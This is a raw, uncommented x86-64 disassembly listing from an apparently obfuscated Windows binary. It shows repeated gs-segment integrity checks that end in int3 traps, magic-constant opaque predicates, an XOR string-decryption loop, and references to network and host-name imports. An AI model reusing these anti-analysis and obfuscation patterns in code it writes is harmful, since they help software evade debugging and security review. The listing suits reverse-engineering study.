mov r8, r13
mov rdi, rbx
mov r9d, ebx
mov r10, rsi
mov ebx, 0xdeedfeff
mov r15d, 0xdb4576f5
mov ecx, r9d
mov rdx, rsi
shl rdx, cl
mov rax, r15
sar rax, cl
or rdx, rax
xor r8, rdx
mov rax, r11
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, rbx
xor rcx, rax
add rdi, rcx
add r9d, r12d
add r10, r12
cmp r9d, 8
jl 0x14002fed3
xor r8, rdi
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd20], rax
lea rcx, [r8 + rsi]
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
mov r15d, 0xa8e3e360
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14003018b
add edi, r12d
cmp edi, 5
jl 0x14002ff95
lea rcx, [rbp + 0xd40]
call fcn.140006690
mov edx, eax
lea rcx, [rbp + 0x7260]
call fcn.14003d19c
mov rax, qword gs:[0x15]
movabs r11, 0x2aaaaaaaaaaaaaab
cmp rax, rsi
jne 0x1400301a1
mov rdi, rbx
mov r8d, r14d
mov r9, r15
movabs rsi, 0x38728acc6e2e5700
sub r8d, r12d
sub r9, r12
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140030086
sub ecx, r12d
or ecx, 0xfffffffc
add ecx, r12d
mov rax, rsi
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140030046
mov rax, rdi
xor rax, rdi
mov esi, 0xa8e3e350
xor rax, rsi
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov r10d, 0xdeadbeef
or rcx, r10
mov rax, rdi
mov edx, 0x8aec58f0
or rax, rdx
xor rcx, rax
mov eax, 0xdb4576f5
xor rcx, rax
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, rsi
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
or rdx, rax
mov rcx, qword [rbp + 0xd28]
or rcx, rdx
mov rax, qword [rbp + 0xd20]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140030196
add edi, r12d
mov eax, 0xa
cmp edi, eax
jl 0x1400300f5
jmp 0x1400301a7
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov r10d, 0xdeadbeef
mov rax, qword gs:[0x15]
cmp rax, rsi
jne 0x1400302fd
mov r10, r13
mov rdi, rbx
mov r8d, ebx
mov r9, rsi
mov ebx, 0xdeedfeff
mov r15d, 0xdb4576f5
mov rdx, r15
mov ecx, r8d
sar rdx, cl
mov rax, rsi
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, rbx
xor rcx, rax
add rdi, rcx
add r8d, r12d
add r9, r12
cmp r8d, 8
jl 0x1400301d0
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd20], rax
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r10d, 0xdeadbeef
or rax, r10
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
mov r15d, 0xa8e3e360
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140030595
add edi, r12d
cmp edi, 5
jl 0x140030295
mov rax, qword gs:[0x15]
cmp rax, rsi
jne 0x140030451
mov r8, r13
mov rdi, rbx
mov r9d, ebx
mov r10, rsi
mov ebx, 0xdeedfeff
mov r15d, 0xdb4576f5
mov rdx, r15
mov ecx, r9d
sar rdx, cl
mov rax, rsi
shl rax, cl
or rdx, rax
xor r8, rdx
mov rax, r11
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, rbx
xor rcx, rax
add rdi, rcx
add r9d, r12d
add r10, r12
cmp r9d, 8
jl 0x140030326
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd20], rax
lea rcx, [r8 + rsi]
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r10d, 0xdeadbeef
or rax, r10
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
mov r15d, 0xa8e3e360
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x1400305a0
add edi, r12d
cmp edi, 5
jl 0x1400303e9
mov dword [rsp + 0x68], ebx
mov rax, qword gs:[0x15]
mov r12d, 1
cmp rax, rsi
jne 0x1400305b6
mov rdi, rbx
mov r8d, r14d
mov r9, r15
movabs r10, 0x38728acc6e2e5700
sub r8d, r12d
sub r9, r12
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x1400304c0
sub ecx, r12d
or ecx, 0xfffffffc
add ecx, r12d
mov rax, r10
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140030480
mov rax, rdi
xor rax, rdi
xor rax, rsi
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov r10d, 0xdeadbeef
or rcx, r10
mov rax, rdi
mov edx, 0x8aec58f0
or rax, rdx
xor rcx, rax
mov r14d, 0xdb4576f5
xor rcx, r14
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, rsi
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd28]
or rdx, rax
mov rcx, qword [rbp + 0xd20]
or rcx, rdx
mov rax, qword [rbp + 0xd30]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x1400305ab
add edi, r12d
mov eax, 0xa
cmp edi, eax
jl 0x14003052b
jmp 0x1400305bc
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov r14d, 0xdb4576f5
mov rax, qword gs:[0x15]
cmp rax, rsi
jne 0x140030704
mov r8, r13
mov rdi, rbx
mov r9d, ebx
mov r10, rsi
mov ebx, 0xdeedfeff
mov rdx, r14
mov ecx, r9d
sar rdx, cl
mov rax, rsi
shl rax, cl
or rdx, rax
xor r8, rdx
mov rax, r11
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, rbx
xor rcx, rax
add rdi, rcx
add r9d, r12d
add r10, r12
cmp r9d, 8
jl 0x1400305df
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd20], rax
lea rcx, [r8 + rsi]
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r10d, 0xdeadbeef
or rax, r10
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14003142c
add edi, r12d
cmp edi, 5
jl 0x14003069c
mov qword [rbp + 0xbe8], rbx
mov rax, qword gs:[0x15]
cmp rax, rsi
jne 0x14003082d
mov r8, rbx
mov rcx, r12
mov r9d, 5
mov r11d, 0x8aec58f0
mov rax, r11
cqo
idiv rcx
imul rdx, rsi
add r8, rdx
mov rdi, qword gs:[0x30]
movzx eax, r8b
xor rdi, rax
add rcx, r12
sub r9, r12
jne 0x14003072f
xor rdi, r14
mov rcx, rdi
mov rax, r11
imul rcx, rax
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r14
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd20], rdi
mov rax, r8
or rax, r10
xor rax, rcx
mov qword [rbp + 0xd28], rax
xor rcx, rsi
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd30], rcx
mov edi, ebx
movabs r11, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
and rdx, rax
mov rcx, qword [rbp + 0xd28]
and rcx, rdx
mov rax, qword [rbp + 0xd20]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140031437
add edi, r12d
cmp edi, 7
jl 0x1400307c5
mov rax, qword gs:[0x15]
cmp rax, rsi
jne 0x140030974
mov r8, r13
mov rdi, rbx
mov r9d, ebx
mov r10, rsi
mov ebx, 0xdeedfeff
mov ecx, r9d
mov rdx, rsi
shl rdx, cl
mov rax, r14
sar rax, cl
or rdx, rax
xor r8, rdx
mov rax, r11
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, rbx
xor rcx, rax
add rdi, rcx
add r9d, r12d
add r10, r12
cmp r9d, 8
jl 0x140030850
xor r8, rdi
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd20], rax
lea rcx, [r8 + rsi]
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140031442
add edi, r12d
cmp edi, 5
jl 0x14003090c
lea rcx, [rbp + 0x7260]
call fcn.14003d1dc
mov edi, eax
lea rcx, [rbp + 0xea8]
call fcn.14003ccc4
mov rcx, rax
xor edx, edx
mov eax, edi
div rcx
mov r14, rdx
mov rax, qword gs:[0x15]
cmp rax, rsi
jne 0x140030ae7
mov rdi, rbx
mov r8d, reloc.WS2_32.dll_recv
mov r9, r15
movabs rsi, 0x38728acc6e2e5700
movabs r10, 0x2aaaaaaaaaaaaaab
sub r8d, r12d
sub r9, r12
mov rax, r10
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140030a0d
sub ecx, r12d
or ecx, 0xfffffffc
add ecx, r12d
mov rax, rsi
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x1400309cd
mov rax, rdi
xor rax, rdi
mov esi, 0xa8e3e350
xor rax, rsi
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov eax, 0xdeadbeef
or rcx, rax
mov rax, rdi
mov edx, 0x8aec58f0
or rax, rdx
xor rcx, rax
mov eax, 0xdb4576f5
xor rcx, rax
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, rsi
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
or rdx, rax
mov rcx, qword [rbp + 0xd28]
or rcx, rdx
mov rax, qword [rbp + 0xd20]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14003144d
add edi, r12d
mov eax, 0xa
cmp edi, eax
jl 0x140030a7b
mov esi, ebx
mov dword [rsp + 0x60], ebx
lea rcx, [rbp + 0xea8]
call fcn.14003ccc4
movabs r15, 0x1fd76467be
movabs r11, 0x3faec8cf7c
test rax, rax
je 0x1400310b9
mov rax, qword gs:[0x15]
mov r11d, 0xa8e3e350
cmp rax, r11
jne 0x140030c8c
mov r10, r13
mov rdi, rbx
mov r8d, ebx
mov r9d, r11d
mov ebx, 0xdb4576f5
mov esi, 0xdeedfeff
movabs r15, 0x2aaaaaaaaaaaaaab
mov rdx, rbx
mov ecx, r8d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r15
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, rsi
xor rcx, rax
add rdi, rcx
add r8d, r12d
add r9, r12
cmp r8d, 8
jl 0x140030b4e
xor ebx, ebx
mov esi, dword [rsp + 0x60]
movabs r15, 0x1fd76467be
mov rcx, rdi
xor rcx, r10
mov rax, rdi
xor rax, rcx
mov qword [rbp + 0xd20], rax
add rcx, r11
movabs r8, 0x2aaaaaaaaaaaaaab
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140031458
add edi, r12d
cmp edi, 5
jl 0x140030c24
movsxd rdx, r14d
lea rcx, [rbp + 0xea8]
call fcn.14003ccbc
mov rcx, qword [rax]
call fcn.1400269c8
mov r12d, eax
mov dword [rsp + 0x68], eax
mov rcx, qword gs:[0x15]
mov r11d, 0xa8e3e350
cmp rcx, r11
jne 0x140030de8
mov rdi, rbx
mov r10d, 1
mov ecx, r10d
lea r9d, [r10 + 4]
mov r12d, 0x8aec58f0
mov rax, r12
cqo
idiv rcx
imul rdx, r11
add rdi, rdx
mov r8, qword gs:[0x30]
movzx eax, dil
xor r8, rax
add rcx, r10
sub r9, r10
jne 0x140030cd8
mov r12d, dword [rsp + 0x68]
mov r9d, 0xdb4576f5
xor r8, r9
mov rcx, r8
mov eax, 0x8aec58f0
imul rcx, rax
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xe88], rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xe90], rax
xor rcx, r11
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xe98], rcx
mov edi, ebx
movsxd rcx, edi
add rcx, r11
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xe98]
and rdx, rax
mov rcx, qword [rbp + 0xe90]
and rcx, rdx
mov rax, qword [rbp + 0xe88]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140031463
add edi, r10d
cmp edi, 7
jl 0x140030d79
test r12d, r12d
jne 0x140031484
mov rax, qword gs:[0x15]
mov r12d, 1
cmp rax, r11
jne 0x140030f46
mov rdi, rbx
lea r8d, [r12 + 0xf]
mov r9d, 0xa8e3e360
movabs r10, 0x2aaaaaaaaaaaaaab
movabs r11, 0x38728acc6e2e5700
sub r8d, r12d
sub r9, r12
mov rax, r10
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140030e6b
sub ecx, r12d
or ecx, 0xfffffffc
add ecx, r12d
mov rax, r11
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140030e2b
mov r11d, 0xa8e3e350
mov rax, rdi
xor rax, rdi
xor rax, r11
mov qword [rbp + 0xe08], rax
mov rcx, rdi
mov eax, 0xdeadbeef
or rcx, rax
mov rax, rdi
mov edx, 0x8aec58f0
or rax, rdx
xor rcx, rax
mov eax, 0xdb4576f5
xor rcx, rax
mov qword [rbp + 0xe10], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, r11
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xe18], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xe18]
or rdx, rax
mov rcx, qword [rbp + 0xe10]
or rcx, rdx
mov rax, qword [rbp + 0xe08]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14003146e
add edi, r12d
mov eax, 0xa
cmp edi, eax
jl 0x140030eda
lea rcx, [rbp + 0xea8]
call fcn.14003ccc4
mov rdi, rax
lea eax, [r14 + 1]
cdqe
xor edx, edx
div rdi
mov r14d, edx
mov rax, qword gs:[0x15]
mov r10d, 0xa8e3e350
cmp rax, r10
jne 0x140031090
mov r8, rbx
mov rcx, r12
mov r9d, 5
mov r11d, 0x8aec58f0
mov rax, r11
cqo
idiv rcx
imul rdx, r10
add r8, rdx
mov rdi, qword gs:[0x30]
movzx eax, r8b
xor rdi, rax
add rcx, r12
sub r9, r12
jne 0x140030f8d
mov r9d, 0xdb4576f5
xor rdi, r9
mov rcx, rdi
imul rcx, r11
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd48], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd50], rax
xor rcx, r10
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd58], rcx
mov edi, ebx
movsxd rcx, edi
add rcx, r10
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd58]
and rdx, rax
mov rcx, qword [rbp + 0xd50]
and rcx, rdx
mov rax, qword [rbp + 0xd48]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140031479
add edi, r12d
cmp edi, 7
jl 0x140031021
add esi, r12d
mov dword [rsp + 0x60], esi
lea rcx, [rbp + 0xea8]
call fcn.14003ccc4
movsxd rcx, esi
cmp rcx, rax
jb 0x140030b16
movabs r11, 0x3faec8cf7c
mov rax, qword gs:[0x15]
mov esi, 0xa8e3e350
cmp rax, rsi
jne 0x1400311e8
mov rdi, rbx
mov rcx, r12
mov r9d, 5
mov r10d, 0x8aec58f0
mov rax, r10
cqo
idiv rcx
imul rdx, rsi
add rdi, rdx
mov r8, qword gs:[0x30]
movzx eax, dil
xor r8, rax
add rcx, r12
sub r9, r12
jne 0x1400310e2
mov r9d, 0xdb4576f5
xor r8, r9
mov rcx, r8
imul rcx, r10
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd48], rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd50], rax
xor rcx, rsi
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd58], rcx
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd58]
and rdx, rax
mov rcx, qword [rbp + 0xd50]
and rcx, rdx
mov rax, qword [rbp + 0xd48]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x1400326cc
add edi, r12d
cmp edi, 7
jl 0x140031179
movdqa xmm0, xmmword [0x1400f5b30]
movdqu xmmword [rbp + 0x5f8], xmm0
mov byte [rbp + 0x608], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x609], 0x9c
mov byte [rbp + 0x60a], 0xdb
mov byte [rbp + 0x60b], gethostname
mov byte [rbp + 0x60c], 0x68
xor eax, eax
mov byte [rbp + 0x60d], al
mov r8, rbx
lea r10d, [rax + 0x15]
mov r9, r15
movabs rsi, 0x184295a46
movabs rbx, 0x184295a45
movabs r14, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r14
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r14
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x5f8]
xor dil, r8b
mov byte [rbp + r8 + 0x5f8], dil
add r8, r12
add r9, rsi
add r10, 0x15
cmp r9, r11
jb 0x14003124b
xor ebx, ebx
mov byte [rbp + 0x60d], bl
mov r8d, r12d
xor edx, edx
lea rcx, [rbp + 0x5f8]
call fcn.140025168
mov rax, qword gs:[0x15]
mov esi, 0xa8e3e350
cmp rax, rsi
jne 0x1400318de
mov r10, r13
mov edi, ebx
mov r8d, ebx
mov r9d, esi
mov ebx, 0xdeedfeff
movabs r15, 0x2aaaaaaaaaaaaaab
mov r14d, 0xdb4576f5
mov ecx, r8d
mov rdx, rsi
shl rdx, cl
mov rax, r14
sar rax, cl
or rdx, rax
xor r10, rdx
mov rax, r15
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, rbx
xor rcx, rax
add rdi, rcx
add r8d, r12d
add r9, r12
cmp r8d, 8
jl 0x140031300
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd48], rax
add rcx, rsi
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
